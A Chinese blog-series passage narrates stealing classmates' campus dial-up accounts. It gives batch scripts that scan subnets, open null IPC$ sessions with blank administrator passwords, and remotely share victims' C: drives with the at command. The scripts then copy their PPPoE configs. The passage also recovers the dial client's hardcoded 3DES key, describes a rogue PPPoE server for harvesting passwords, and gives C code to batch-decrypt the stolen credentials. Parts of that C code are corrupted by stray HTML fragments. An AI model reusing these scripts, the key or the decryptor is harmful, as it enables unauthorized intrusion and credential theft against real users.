在前面的关于ipc的介绍中,我们可以知道ipc连接建立有个条件就是打开一些端口。所以我们为了提高可用ip的准确度,直接用s扫描器对常用网段扫139端口,一是为了确定存活主机,二十为了提高ipc空连接建立的成功率。那么我们还是用命令来写吧。所以这第一条语句就是:
以下命令:
s.exe tcp 10.0.48.0 10.0.49.255 139 800 /save |
也就是用s.exe对 10.0.48.0-10.0.49.255这个段的TCP的139端口进行扫描,线程是800,同时保存扫描结果,扫描结果即开放了139端口的ip。
那么如此我们就得到了现在处于活跃状态的而且开放了139的ip。下一步就是看能不能建立ipc$空连接了,能建立的话就直接复制。因为我暂时还没找到能代替手动打开共享的命令,所以我们只能放弃那些未打开的,而且放弃那些账户不是administrator和密码不为空的机器。因为我们只能想办法去尽量的提高效率但不能完美的实现。
于是,我们用下面的语句来实现那些要求:
以下是命令片段:
for /f "delims= tokens=1" %%i in (result.txt) do net use \\%%i\ipc$ "" /u:administrator 1>nul 2>nul && copy /y "\\%%i\c$\program files\PPPoe Supplicant\pppoe.cfg" %%i.cfg ||echo %%i
net use * /del /yes |
意思是:在s.exe扫描生成的result.txt中获取每一行的第一个以空格为分界点的字符串(即ip),执行以默认账户密码建立空连接的命令,如果不成功则下一行并显示当前此次试图建立连接的ip地址,如果成功则默认复制c$\program files\PPPoe Supplicant\pppoe.cfg到当前文件夹并命名为“ip”.cfg。
这样就实现了自动入侵并得到文件。于是,把上面那几条语句全部整合到一起,命名为hack.bat。然后满心欢喜的双击开始扫描运行了。发现,一般扫完11个网段是几乎不可能的。而且效率及其的底下,有时甚至一两个小时才只能盗取到那么几个账号。远不如手动的效率高。
那,问题在哪呢?
Chapter 11——自动盗号1.1
简单的分析了一下,首先,装好系统后ipc默认共享连接是打开的的机器占总数的2/3,这没问题,因为大多系统装好后是没有关闭的,那么问题不在这。其次,平时开防火墙的机器大概占1/10,几乎很少有看见打开防火墙了的,问题也不在这。再次,账号密码没有改动的占8/10,显然这个也不是问题。最后,开了c$共享的机器,那就是真的少之又少了,因为有电脑的大多数都会用360卫士体检一番,然后360也会很配合的告诉你,你的C$、D$、E$、F$打开了,有风险,然后问你要不要关闭,傻子都会点关闭。所以呢,造成前面那个版本自动盗号器效率低下的主要原因就在这里了。
所以,想提高盗号效率,要解决的首要问题就是,怎么在确定可以建立ipc$空连接后,打开该主机的c盘共享。手动操作早就实现了。既然现在是要实现自动盗号,那肯定不能是继续手动开共享了。那又该怎么实现呢?
首先想到的还是命令,因为,整个盗号器都是bat程序。想来想去,想到了高中时为了获得龙域网安邀请码时写下的一篇局域网入侵的文章(貌似之后还真的得到了邀请码)里的东西,恩,是的那就是at命令。
At命令,我平时都是用来实现定时关机的(ps:win8下貌似用另外一个高级的程序取缔了at.exe,让我很是郁闷),当然,它也有远程控制的作用,让我们来看看吧。命令提示符下敲at,, , , /? 、回车。
所以,我们要用的语句就是:
At \\ip 时间 “要执行的命令”
另外,关于建立ipc空连接还有些事情要说明的。首先,必须要有139、445这两个端口是打开的,而且在会话过程中如果 445 端口有响应,那么就发送 RST 包给 139 端口断开连接,用 455 端口进行会话,当 445 端口无响应时,才使用 139 端口,如果两个端口都没有响应,则会话失败;也就是说445端口相对来说的成功率更高。
所以,为了提高效率我们上一个版本的bat中扫的139要换为445了。
那么我们的这个版本的代码是:
以下是代码片段:
@echo
s.exe tcp 10.0.48.0 10.0.49.255 445 500 /save
for /f "skip=2 tokens=1 delims= " %%i in (result.txt) do net use \\%%i\ipc$ "" /u:administrator 1>nul 2>nul && echo %%i>>rou.txt
net time \\127.0.0.1 /set /y >nul
for /f "tokens=1,2 delims=:" %%i in ("%time%") do set /a hour=%%i && set /a minute=%%j
set /a Rminute=%minute%+10
for /f "delims= tokens=1" %%i in (rou.txt) do at \\%%i %hour%:%Rminute% net share C$=C:
echo 当你桌面右下角时间超过了%hour%:%Rminute%时。再按任意键。
Pause
for /f "delims= tokens=1" %%i in (rou.txt) do copy /y "\\%%i\c$\program files\PPPoe Supplicant\pppoe.cfg" %%i.cfg
del rou.txt
net use * /del /yes
pause |
是不是发现多了很多东西啊,没事,咱慢慢解释。
第一句关闭回显以后就不解释了哈。
第二句是用s扫描器来对一个网段进行扫描(当然,你可以复制粘贴多几行来实现多个网段扫描)。
第三句是在result.txt中从第二行开始(由s扫描器生成的result.txt中的格式决定的,它的第一行是标题不是ip。)一次取出ip地址,执行net use \\ip\ipc$ 的命令来检测是否可用默认用户名和密码建立空连接,如果可以建立则把该ip地址追加到rou.txt中。
第四句是设置本机当前时间,因为at命令它涉及到时间了,而且是远程主机的当地时间、
第五句是从时间命令time执行的结果中获取“时”、“分”,分别赋值给变量hour和变量minute。
第六句是把minute的值加上10赋给Rminute。因为,at是定时功能,到达某一时刻执行,它不可能用以前的时间和当前的时间,所以要用将来时,于是给它加上10分钟的缓冲器,但是后来的实践发现,这里忽略了一个bug,就是到分钟为50以上时,再加十分钟就让机器不知该如何处理了,不过,鉴于影响不大,我也就一直没去修正它了。
第七句就是依次对rou.txt中存放的ip地址执行at命令,让他在本机时间加上10分钟的时候以C$为名字奉献出它宝贵的C盘。这一步是为了获得c盘里面的东西,可能你会说有些人软件是装在其他盘的,当然不排除,但是呢,咱还是不要有洁癖吧,只考虑c。
第八句作为交互进行显示而已。
第九句,暂停,提示按任意键继续,当时间超过显示的时间时,按下。
第十局则是核心语句,对那些可能执行了共享c盘的主机进行搜刮,把pppoe.cfg拿出来。
第十一句删除此次盗号生成的rou.txt。
第十二句删除所有建立了的连接,不过这里貌似还有个问题,我们在扫描的时候了建立的连接,然后等扫描全部进行完了,才用at命令,要知道at命令要在远程执行得有ipc的权限,然而,这个空连接建立好了又不是不会自动断开,时间久了没动静会断开,建立多了也会断开,另外不担保这段时间里主机已经关机了。
所以,虽然用12句话给它搞定了,但是要考虑的事情还很多,不可能面面俱到。不过,实践证明,这个方案比前面的1.0的确效率提高了不少。
但是呢,还有个问题,就是at命令对远程主机的时候会出现绑定句柄无效的错误提示,这个在我高中那会儿是很少出现的。很是不解,网上请教高手也没有同意答复,于是,各种找答案后,发现,微软为了防止利用at进行此类攻击在某个时刻发布了一个补丁,打上了这个补丁的主机均不能用at对远程计算机操作。
于是,果断的换系统,网上找了个最久远的镜像,装上,扫描。还是很有收获的哈。不过,这个从一个个主动去盗号的方法也还是不能满足我的欲望啊,怎么办呢?
Chapter 12——还是盗号
先前的几个与盗号相关的都是针对客户端的一些漏洞去获取的,而且,是一个个的去得到的,怎么都感觉不如一批批的获得来得爽啊,那,怎么去批量获得呢?入侵服务器?别想了,校园网论坛你都暂时没搞定,况且,那啥服务器是话说我们学校最牛的那个传说中中国黑客五十强那人给配置好的,曾经找教务管理系统的漏洞,找来找去所有可利用的都打好补丁了,真不愧是高手。貌似有点扯远了哈,嗯,回到主题。主题是什么来着?哦,批量盗号,也就是想办法去获得更多的账号密码。
还是先分析下吧,信息泄露的三个地方:个人客户端、传输介质、服务端。个人客户端已经考虑过,服务端呢又没法下手。于是,转过来看看传输介质这一块,或许,你会说,嗅探不是在前面用到过了么?不是不能得到真实的密码了么。的确如此啊,不过,我总觉得这里应该还是可以发起一个什么攻击来着,恩,伪造。
先跟着我来了解一下pppoe拨号连接这整个流程吧。
下面是我用ethereal拨号时抓包得到的数据拿来分析分析:
(第一栏是数据包序列号、第二栏是截获的时间、第三栏是源地址、第四栏是目的地址、第五栏是协议以及信息,由于截图没截好,所以,描述下)
首先,PPPoE协议的工作流程包含发现和会话两个阶段,发现阶段是无状态的,目的是获得PPPoE服务器的以太网MAC地址,并建立一个唯一的PPPoESESSION-ID(PPPOE会话ID),在发现阶段,基于网络的拓扑,主机可以发现多个接入集中器,然后允许用户选择一个。发现阶段结束后,就进入标准的PPP会话阶段。
发现阶段有4个步骤:
1. PADI图示步骤1,主机发送广播包PADI寻找接入服务器。主机→服务器。目的地址为广播。
2. PADO图示步骤2和4,服务器收到包后如果可以提供主机要求则回复一个PADO包。为什么有两个呢?有时,网络上有不止一个服务器。服务器→主机。
3. PADR图示步骤3,主机在回应PADO的接入服务器中选择一个合适的,并发送PADR告知接入服务器,PADR中必须声明向接入服务器请求的服务种类。主机→服务器。
4. PADS图示步骤5接入服务器收到PADR包后开始为用户分配一个唯一的会话标识符Session ID,启动PPP状态机以准备开始PPP会话,并发送一个会话确认包PADS。服务器→主机。 |
主机收到PADS后,双方进入PPP会话阶段。在会话阶段,PPPoE的以太网类域设置为0x8864,CODE为0x00,Session ID必须是发现(Discovery)阶段所分配的值。
PPP会话阶段主要是LCP、认证、NCP 3个协议的协商过程,LCP阶段(图示步骤6-12)主要完成建立、配置和检测数据链路连接,认证(图示步骤13-19)协议类型由LCP协商(CHAP或者PAP),NCP(图示步骤20-27)是一个协议族,用于配置不同的网络层协议,常用的是IP控制协议(IPCP),它负责配置用户的IP和DNS等工作。
其中,CHAP是一种加密的验证方式,能够避免建立连接时传送用户的真实密码。NAS向远程用户发送一个挑战口令(challenge),其中包括会话ID和一个任意生成的挑战字串(arbitrary challengestring)。远程客户必须使用MD5单向哈希算法(one-way hashing algorithm)返回用户名和加密的挑战口令,会话ID以及用户口令,其中用户名以非哈希方式发送。所以,我们通常抓到的VALUE值是没什么用的。而PAP则是明文传输,直接显示账号密码。
注意我加上红色的那几句话,是的,网络上不止有一个服务器。这是不是一个突破口呢?正如我们所知,学校用的是CHAP认证,但是呢,在LCP协商的过程中,是看服务器的配置是何种加密算法再去选择。所以,问题来了,我们要做的就是,搭建一个PPPOE服务器,把认证方式设置为PAP,然后,对自己的网卡嗅探,不就可以实现批量获取了么。只要有人拨号,前提是选择的是我搭建好了的服务器,那么他就会乖乖的把自己的账号密码发送过来请求验证。然后我们就直接可以得到这些个账号密码了。
恩,理论上是这个样子的,也没错,于是,百度如何搭建服务器。推荐给大家一篇很好的博文http://wengjingzhiwu.blog.163.com/blog/static/1904092722009934350200/。之后呢,花了点时间搭好了。很开心的打开ethereal,选好网卡,点击截获,为了测试,故意跑到室友那里拨号测试,完了回来一看,嘿,还真可以,这可把我高兴坏了。于是,电脑丢这里截获,自己先去忙些其他的,网上看了下有人要帮忙p一张手绘图片,反正闲着无聊等账号上钩就p了一下。大家看文也看累了,拿出来让大家眼睛休息休息。
不过p来p去,倒感觉不像了。
嗯,过了一俩小时了,回来看看抓到了些什么,是兔子呢?还是狐狸……打开一看,额,傻眼了……什么都没有,是配置出问题了么?还是刚好这段时间没人拨号呢?我更怀疑前者,不可能没人拨号,那,是不是我搭建的服务器的优先级不够,他们都跑到真正的服务器上去了呢?恩,也有可能。那么问题是,客户端是通过什么算法来决定选谁的呢?
距离?性能?带宽?时延?还是什么指标?额,不得而知也。网上给的答复是,选择最近的,这个最近貌似很有学问。怎么才算是最近的。而且,看看以前画的那个拓扑图,觉得,我们本楼栋的电脑访问我搭建的服务器比学校服务器要快吧。到底问题在哪呢?
想了很久很久,最终,只把这次实践当做一次学习,没有深究下去了。然后在后面考研看专业课的时候想通了。
很简单的一个原理,就是,路由器不转发广播数据包,而我们的pppoe发现阶段刚开始就是用的广播发现数据包。So,这件事就这样了。那么你可能会问,那为什么同一网段的可以呢?听着,在同一局域网内,所谓的广播,就是客户端发送一个地址为广播地址的数据包,然后呢?在网络中,不管地址指向哪,只要是同一个局域网中,所有的人都会收到数据包,然后网卡看目的地址是不是自己,不是的话,就丢弃,是的话就拿过来。于是,在广播的过程中,广播地址是可以被任何主机接受的,但是呢,他们只是光顾着接受,如果自身没有对应的服务提供,他们也不会返回一些值。
但是,学校的主机也不是跟我们的电脑在同一个局域网啊,为什么它可以收到我们的广播数据包呢?那就是路由器的设置了。所以,我们要解决的主要问题就是这个路由了,路由的问题在后面还困扰着我,还有一个问题也要解决广播数据包的事。
可以说,这是一次不怎么成功的尝试吧,不过,也还算好,学到了不少东西~~~
【校园网那些事 —— 高级篇】
Chapter 1——加密解密之3DES算法
还记得先前我们一直在做的一件事情么?恩,盗号,这些看起来很久很简单的方法对于不在意网络安全的那部分人来说还算是致命的,讲了那么久的攻击,其实防范也很简单,在前面的原理分析中都附有了防范的方法,赶紧回去给自己加固吧。
盗号无非就是获得我们想要的pppoe.cfg了,恩,然后,我们再一个个的改名放入带有hook过的dll文件的文件夹下,运行拨号程序,弹出我们的真实密码,然后记录起来。神马?一个个改名?又是一个个改名?我们是这一步完全可以省略掉不是么?嗯,那么,我们今天要做的解决这个问题。
还记得曾经的某一个猜想么?就是,pppoe.cfg中是存放用户名和密码的,那么具体是真实密码还是原始密码呢?是啊,这个文件是干嘛用的啊?
打开OD装载程序,对文件操作,哦,对文件,那么下断点吧,是用的什么断点呢?额,于是习惯性的找出C32asm来配合,用C32asm打开客户端程序(后文简称:蝴蝶.exe),Ctrl+I打开导入表这一栏,然后搜索框中搜一下CreateFile居然没发现?然后试了下其他的有关File方面的搜索,都没找到什么可用的api调入,先不管,直接在命令框输入:bp CreatefileA又没出错,那就证明断下来了。可是为什么在C32下没显示呢?现在都还没搞清楚。
之后,我们F9让它跑起来,发现程序依次读取了下面这些文件:
0012DB3C 0012EC70 p?. |FileName = "C:\WINDOWS\pinfo.txt"
0012F294 0012F428 (?. |FileName = "C:\WINDOWS\pcheck.txt"
0012F2A8 0012F43C
0012F4B0 0012FB48 H?. |FileName = "J:\校园网\拨号\pppoe.cfg"
嗯哼,到了,要的就是你了,不对,这个过程它是在读取,读取的过程中要把里面的信息显示到UI中,应该要对它解密吧,我们接着看看Alt+F9回到程序领空,在前面那个Call那里F2断下,方便下次直接跟进。之后F7,一直跟下去。
发现,在00402893 call Tracy.004038F0执行后。堆栈中出现了我们pppoe.cfg保存的账号和密码。那也就是说,在我们摁下F2下断点的地方到00402893中间,肯定有一个对文件内容解密的一个函数被调用了。恩,返回突然间就缩小了。重载程序再来分析。
用为了方便我们识别pppoe.cfg中的内容,我们用WinHex打开文件。看到了下面的东西:
看一下,留个印象就行了,反正对着它是看不出什么的。这下可以取消刚才的CreatFileA断点了,直接运行到00423415 call dword ptr ds:[<&kernel32.CreateFileA>] ; \CreateFileA处,然后看代码:
以下是代码片段:
00423415 |. FF15 C4014300 call dword ptr ds:[<&kernel32.CreateFileA>] ; \CreateFileA
0042341B |. 83F8 FF cmp eax,-1
0042341E |. 75 28 jnz short Tracy.00423448
00423420 |. 8B75 10 mov esi,dword ptr ss:[ebp+10]
00423423 |. 85F6 test esi,esi
00423425 |. 74 1D je short Tracy.00423444
00423427 |. FF15 D0014300 call dword ptr ds:[<&kernel32.GetLastError>] ; [GetLastError
0042342D |. 50 push eax
0042342E |. 8946 0C mov dword ptr ds:[esi+C],eax
00423431 |. E8 93500000 call Tracy.004284C9
00423436 |. FF75 08 push dword ptr ss:[ebp+8]
00423439 |. 8D4E 10 lea ecx,dword ptr ds:[esi+10]
0042343C |. 8946 08 mov dword ptr ds:[esi+8],eax
0042343F |. E8 28FAFFFF call Tracy.00422E6C
00423444 |> 33C0 xor eax,eax
00423446 |. EB 08 jmp short Tracy.00423450
00423448 |> 8946 04 mov dword ptr ds:[esi+4],eax
0042344B |. 895E 08 mov dword ptr ds:[esi+8],ebx
0042344E |. 8BC3 mov eax,ebx
00423450 |> 5F pop edi
00423451 |. 5E pop esi
00423452 |. 5B pop ebx
00423453 |. C9 leave
00423454 \. C2 0C00 retn 0C |
其中0042341E的jnz是判断是否读取成功,成功则跳,所以我们就到了00423448了,然后后面都是堆栈恢复,retn跳出来之后的代码如下:
以下是代码片段:
0042324A |. 85C0 test eax,eax
0042324C |. 75 0E jnz short Tracy.0042325C
0042324E |. FF75 EC push dword ptr ss:[ebp-14]
00423251 |. FF75 E8 push dword ptr ss:[ebp-18]
00423254 |. FF75 E4 push dword ptr ss:[ebp-1C]
00423257 |. E8 02520000 call Tracy.0042845E
0042325C |> 897D DC mov dword ptr ss:[ebp-24],edi
0042325F |. 8D4D EC lea ecx,dword ptr ss:[ebp-14]
00423262 |. C645 FC 05 mov byte ptr ss:[ebp-4],5
00423266 |. E8 BCFAFFFF call Tracy.00422D27
0042326B |. 8B4D F4 mov ecx,dword ptr ss:[ebp-C]
0042326E |. 8BC6 mov eax,esi
00423270 |. 5F pop edi
00423271 |. 5E pop esi
00423272 |. 64:890D 00000>mov dword ptr fs:[0],ecx
00423279 |. C9 leave
0042327A \. C2 0800 retn 8 |
0042324C的jnz是判断前一call是否成功运行,成功则跳转到0042325C,来到00423266的这个call处,刚跟过来后没发现什么这个call中出现什么异常,所以直接F8过。
又一个retn后:
以下是代码片段:
0040282B |. B9 00010000 mov ecx,100
00402830 |. 33C0 xor eax,eax
00402832 |. 8DBD C4F9FFFF lea edi,dword ptr ss:[ebp-63C]
00402838 |. C645 FC 03 mov byte ptr ss:[ebp-4],3
0040283C |. F3:AB rep stos dword ptr es:[edi] ; 清空堆栈
0040283E |. 8B45 E0 mov eax,dword ptr ss:[ebp-20]
00402841 |. 8D4D DC lea ecx,dword ptr ss:[ebp-24]
00402844 |. 3BC3 cmp eax,ebx
00402846 |. 75 0A jnz short Tracy.00402852
00402848 |. E8 080D0200 call Tracy.00423555
0040284D |. E9 F9000000 jmp Tracy.0040294B
00402852 |> E8 DD0D0200 call Tracy.00423634
00402857 |. 8BF0 mov esi,eax
00402859 |. 83FE 0C cmp esi,0C
0040285C |. 7C 47 jl short Tracy.004028A5
0040285E |. 81FE 00040000 cmp esi,400
00402864 |. 76 05 jbe short Tracy.0040286B
00402866 |. BE 00040000 mov esi,400
0040286B |> 8D8D C4F9FFFF lea ecx,dword ptr ss:[ebp-63C]
00402871 |. 56 push esi ; /Arg2
00402872 |. 51 push ecx ; |Arg1
00402873 |. 8D4D DC lea ecx,dword ptr ss:[ebp-24] ; |
00402876 |. E8 DC0B0200 call Tracy.00423457 ; \Tracy.00423457
0040287B |. 6A 01 push 1
0040287D |. 6A 12 push 12
0040287F |. 68 E0B04300 push Tracy.0043B0E0 ; ASCII "0herolibamtium0"
00402884 |. 8D95 C4F9FFFF lea edx,dword ptr ss:[ebp-63C]
0040288A |. 56 push esi
0040288B |. 8D85 C4F9FFFF lea eax,dword ptr ss:[ebp-63C]
00402891 |. 52 push edx
00402892 |. 50 push eax
00402893 |. E8 58100000 call Tracy.004038F0 |
我们看到了得到账号密码的00402893处。
那么范围又缩小了,一直跟,过到00402852还是没发现什么猫腻。恩,于是来到0040287F处前面两个传参,肯定有问题,看了下:
2A十六进制,化成十进制那就是42,哦,42,嗯?回到刚winhex的那张图片,数据的总位数不也是42么?嘿,没猜错的话,这一段应该是对文件操作,先不管它做了什么,Arg1不就是刚开辟的那块堆栈么?这其中肯定有一些不可告人的秘密,右键,数据窗口中跟随。然后果断F8过掉这个Call,再看看发生了什么。
来,跟上面WinHex的图片对比一下。哦,原来他是读取的作用哦。存放在这里,那么,怎么放这里干嘛呢?谁又对它操作了呢?来到54上面,右键,硬件访问断点(Ps:其实也没必要,因为过掉后面一个Call后,里面就解密了。下这个断点是为了方便大家以后跟踪的时候多一种思路)。
咦?跟着这个伟大发现的Call后面又是一对push,总共传了六个参数,这个中间有间隔还是什么原因,OD没发现。
以下是堆栈中六个参数:
0012F620 0012F644 D?.
0012F624 0012F644 D?. //地址
0012F628 0000002A *... //长度
0012F62C 0043B0E0 喟C. ASCII "0herolibamtium0" //密钥
0012F630 00000012 ...
0012F634 00000001 ... |
嗯,先过掉紧跟在后面的Call,看看有什么变化没,不过,记得及时下断,免得等下又得跟来跟去。F8,发现这段堆栈的内容变了。
出现了我们的输入保存起来的账号密码,那也就是说,00402893这个Call就是我们的解密Call了。
OK,慢慢清晰起来了,再次重载,直接断在00402893处。这次不F8了,换F7进去。
发现了一段很好识别的函数段:
以下是加密函数代码片段:
004038F0 /$ 53 push ebx
004038F1 |. 56 push esi
004038F2 |. 8B7424 0C mov esi,dword ptr ss:[esp+C]
004038F6 |. 57 push edi
004038F7 |. 85F6 test esi,esi
004038F9 |. 0F84 BD000000 je Tracy.004039BC
004038FF |. 8B7C24 14 mov edi,dword ptr ss:[esp+14]
00403903 |. 85FF test edi,edi
00403905 |. 0F84 B1000000 je Tracy.004039BC
0040390B |. 8B4424 1C mov eax,dword ptr ss:[esp+1C]
0040390F |. 85C0 test eax,eax
00403911 |. 0F84 A5000000 je Tracy.004039BC
00403917 |. 8B4C24 18 mov ecx,dword ptr ss:[esp+18]
0040391B |. 8D59 07 lea ebx,dword ptr ds:[ecx+7]
0040391E |. 83E3 F8 and ebx,FFFFFFF8
00403921 |. 0F84 95000000 je Tracy.004039BC
00403927 |. 8B5424 20 mov edx,dword ptr ss:[esp+20]
0040392B |. 55 push ebp
0040392C |. 52 push edx
0040392D |. 50 push eax
0040392E |. E8 9D000000 call Tracy.004039D0
00403933 |. A0 68314400 mov al,byte ptr ds:[443168]
00403938 |. 83C4 08 add esp,8
0040393B |. 84C0 test al,al
0040393D |. 75 2B jnz short Tracy.0040396A
0040393F |. C1FB 03 sar ebx,3
00403942 |. 85DB test ebx,ebx
00403944 |. 7E 6F jle short Tracy.004039B5
00403946 |. 8B6C24 28 mov ebp,dword ptr ss:[esp+28]
0040394A |> 55 /push ebp
0040394B |. 68 6C314400 |push Tracy.0044316C
00403950 |. 57 |push edi
00403951 |. 56 |push esi
00403952 |. E8 F9000000 |call Tracy.00403A50
00403957 |. 83C4 10 |add esp,10
0040395A |. 83C6 08 |add esi,8
0040395D |. 83C7 08 |add edi,8
00403960 |. 4B |dec ebx
00403961 |.^ 75 E7 \jnz short Tracy.0040394A
00403963 |. 5D pop ebp
00403964 |. 5F pop edi
00403965 |. 5E pop esi
00403966 |. B0 01 mov al,1
00403968 |. 5B pop ebx
00403969 |. C3 retn
0040396A |> C1FB 03 sar ebx,3
0040396D |. 8BEB mov ebp,ebx
0040396F |. 85ED test ebp,ebp
00403971 |. 7E 42 jle short Tracy.004039B5
00403973 |. 8B5C24 28 mov ebx,dword ptr ss:[esp+28]
00403977 |. 84DB test bl,bl
00403979 |. 0F944424 28 sete byte ptr ss:[esp+28]
0040397E |> 53 /push ebx
0040397F |. 68 6C314400 |push Tracy.0044316C
00403984 |. 57 |push edi
00403985 |. 56 |push esi
00403986 |. E8 C5000000 |call Tracy.00403A50
0040398B |. 8B4424 38 |mov eax,dword ptr ss:[esp+38]
0040398F |. 50 |push eax
00403990 |. 68 6C344400 |push Tracy.0044346C
00403995 |. 56 |push esi
00403996 |. 56 |push esi
00403997 |. E8 B4000000 |call Tracy.00403A50
0040399C |. 53 |push ebx
0040399D |. 68 6C314400 |push Tracy.0044316C
004039A2 |. 56 |push esi
004039A3 |. 56 |push esi
004039A4 |. E8 A7000000 |call Tracy.00403A50
004039A9 |. 83C4 30 |add esp,30
004039AC |. 83C6 08 |add esi,8
004039AF |. 83C7 08 |add edi,8
004039B2 |. 4D |dec ebp
004039B3 |.^ 75 C9 \jnz short Tracy.0040397E
004039B5 |> 5D pop ebp
004039B6 |. 5F pop edi
004039B7 |. 5E pop esi
004039B8 |. B0 01 mov al,1
004039BA |. 5B pop ebx
004039BB |. C3 retn
004039BC |> 5F pop edi
004039BD |. 5E pop esi
004039BE |. 32C0 xor al,al
004039C0 |. 5B pop ebx
004039C1 \. C3 retn |
有经验的应该看着这几个循环就知道是3DES了,可我不知道啊,于是,傻乎乎的跟着这些循环各种F8、F7,乱搞一气后,把自己给转晕乎了。
于是网上发帖求救,http://bbs.pediy.com/showthread.php?t=144811,好心的exile给我解答了。再次感谢,而后,他还给过我很多帮助,真心感谢你。
不过,他没说明缘由,用邮箱跟他交流,他说自己跟着跟着就出来了,好吧,还是得自己去跟。不过这个过程中,我又学到了很多(如果他全告诉我了,估计向我这么懒的人就不会自己去摸索了,嘿嘿)。再次感谢~。
好吧,要讲3DES,先看看DES的一些知识。
DES 使用一个 56 位的密钥以及附加的 8 位奇偶校验位,产生最大 64 位的分组大小。这是一个迭代的分组密码,使用称为 Feistel 的技术,其中将加密的文本块分成两半。使用子密钥对其中一半应用循环功能,然后将输出与另一半进行“异或”运算;接着交换这两半,这一过程会继续下去,但最后一个循环不交换。DES 使用 16 个循环,使用异或,置换,代换,移位操作四种基本运算。——来自百度百科
然后在论坛里看到了这些个帖子:
http://bbs.pediy.com/showthread.php?t=90593&highlight=des
http://bbs.pediy.com/showthread.php?t=17801&highlight=3DES
http://baike.baidu.com/view/350958.htm
再结合exile给的源码,慢慢看啊慢慢看。然后回想刚传进去的参数,16位的密钥应该就是“30 68 65 72 6F 6C 69 62 61 6D 74 69 75 6D 30 00 0herolibamtium0.”吧。然后呢,然后还是没看懂。额,还是用他给的代码吧。不过至少知道了这个加密算法的长相。红色的那一部分是主要的16轮循环。至于前面,是一些变形或者处理吧,在这也麻烦懂的人说说哈,3DES我确实没弄懂,后面的MD5倒是自己一个个跟出来了。所以,这个我也不知道该怎么详说了。
之后,就直接用exile提供的代码。来利用了,我们是要一次性把文件夹中所有pppoe.cfg文件给它解密了。
那我们先要直接把他提供的代码作为一个函数输出就行了。贴上main函数的代码和注释,我的程序写的很烂的,也希望大家给点指教。比如下面代码中哪些可以简化,哪些不规范。谢了。
以下是mian()函数片段:
int main(int argc,char *argv[])
{
char a[]="pppoe.cfg";
if (argc<2)
{
argv[1]=a; //如果没有参数传入,则默认打开pppoe.cfg
}
char user[15]; //学校账号长度都在15字符以内
char pwd[10]; //学校账号密码都为6字符
unsigned char npwd[10]; //真实密码
FILE* ifile = 0; //对pppoe.cfg文件,读
FILE* ofile = 0; //对pppoe.txt文件,写
int c,i,j = 0;
int id=0; //读文件时的计数变量
unsigned char rawData[50]; //与exile的代码衔接
if ((ifile = fopen(argv[1], "rb"))==NULL) //文件打开操作
{
printf ("Can't open file %c \n",argv[1]);
exit (1);
}
while ((c = fgetc(ifile)) != EOF)//以十六进制读取文件内容并且存放到rawData[50]中
{
rawData[id]=c;
id++;
}
int len = sizeof(rawData); //返回文件总长度
len = len%8?(len/8+1)*8:len; //与exile的代码衔接
BYTE *buf = (BYTE *)malloc(len);//与exile的代码衔接
memset(buf, 0, len);//与exile的代码衔接
memcpy(buf, rawData, sizeof(rawData));//与exile的代码衔接
for (i=0; i<LEN style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" 8; i++)=""
{
Des3Decrypt(buf+i*8);
}//与exile的代码衔接,执行完整个3DES解密过程
for (i=0,j=12;i<BUF[8];I++,J++) style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px"
{
user=buf[j];
}
user[i+1]=0x2C;//添加一个逗号,方便bat程序对pppoe.txt操作
for (i=0,j=16+buf[8];i {
pwd=buf[j];
}//获得保存在pppoe.cfg中的密码
i=0;
for (j=0; j {
c=(int)pwd[j];
switch (c)
{
case 48: npwd=0x48;break;
case 49: npwd=0xc8;break;
case 50: npwd=0x49;break;
case 51: npwd=0xc9;break;
case 52: npwd=0x58;break;
case 53: npwd=0xd8;break;
case 54: npwd=0x59;break;
case 55: npwd=0xd9;break;
case 56: npwd=0x68;break;
case 57: npwd=0xe8;break;
}//因为前面用hook的方法把0-9的对应密文找出来了,所以,直接用上,到后面的文章中会把这一段的加密算法也弄出来的
i++;
}
npwd=0x0001;
npwd[i+1]=0x0002;//这两个要用%c写入,因为,在1.2.0版本升级1.2.9后,为了防止手机或者路由上网,客户端对密码加了两个键盘输入不了的字符0001和0002
if ((ofile = fopen("pppoe.txt", "a"))==NULL)
{
printf ("Can't open file pppoe.txt \n");
exit (1);
}//打开文件
for (i=0;i<BUF[8];I++) style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px"
{
fprintf(ofile,"%c",user);
}
fprintf(ofile,"%c",user[i+1]);//在文件中输入一个逗号
for (i=0;i<BUF[12+BUF[8]];I++) style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px"
{
fprintf(ofile,"%2x",npwd);
}
fprintf (ofile,"%c",npwd);
fprintf (ofile,"%c",npwd[i+1]);//输入特殊符号,并以换行结尾
fprintf(ofile,"%c",0X2C);//在文件中输入一个逗号
for (i=0;i<BUF[12+BUF[8]];I++) style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px"
{
fprintf(ofile,"%c",pwd);
}
fprintf(ofile,"\n");
free(buf);
fclose(ifile);
fclose(ofile);
} |
之后在我们的盗号器1.1.bat后面加上一句:
for /f "delims=" %%i in ('dir /a-d /b "*.cfg"') do get.exe %%i
便可以完全的解放我们的双手,在盗得账号之后,自动获取真实密码保存到pppoe.txt中。
恩,今天就到这里了。还是希望大家能对3DES算法做一个很好的解释哦。也希望大家提出建议帮我提高我代码可读性哈。
Chapter 2——破解自身算法
还记得前面我们hook出来的真实密码么?恩,我们按照对应的关系给0-9建立了一张表格,稍微推导一下算法,可却发现继续不下去了,是啊,数字和字母至少可以用hook给它一一对应起来,可要是用的是汉字呢?要知道,在带有password属性的文本框中是不能输入汉字的。那就意味着不能用hook找出汉字对应的密码咯。当然,老这么用先前的工具去找密码显得太过于繁琐了。于是,我们今天来看一看它到底是通过什么算法加密的。
其实,这一段是在后面我想弄清楚网络数据包的信息时找到的算法,不过,为了文章的流畅性,就一步步的说过去吧。
还是先来分析下吧:
以下是引用片段:
1. 文件运行首先是读取pppoe.cfg
2. 而后再用3DES解密算法对其解密,得到里面的信息,如账号、密码、自动拨号、保存密码等
3. 在之后就是把这些信息set在UI上
4. 用户点击拨号后,程序先把UI上的信息再次加密保存到pppoe中。
5. 获取本机当前的网卡型号,用于主程序查找已建立的拨号连接(因为那个连接是以网卡信息命名的)。
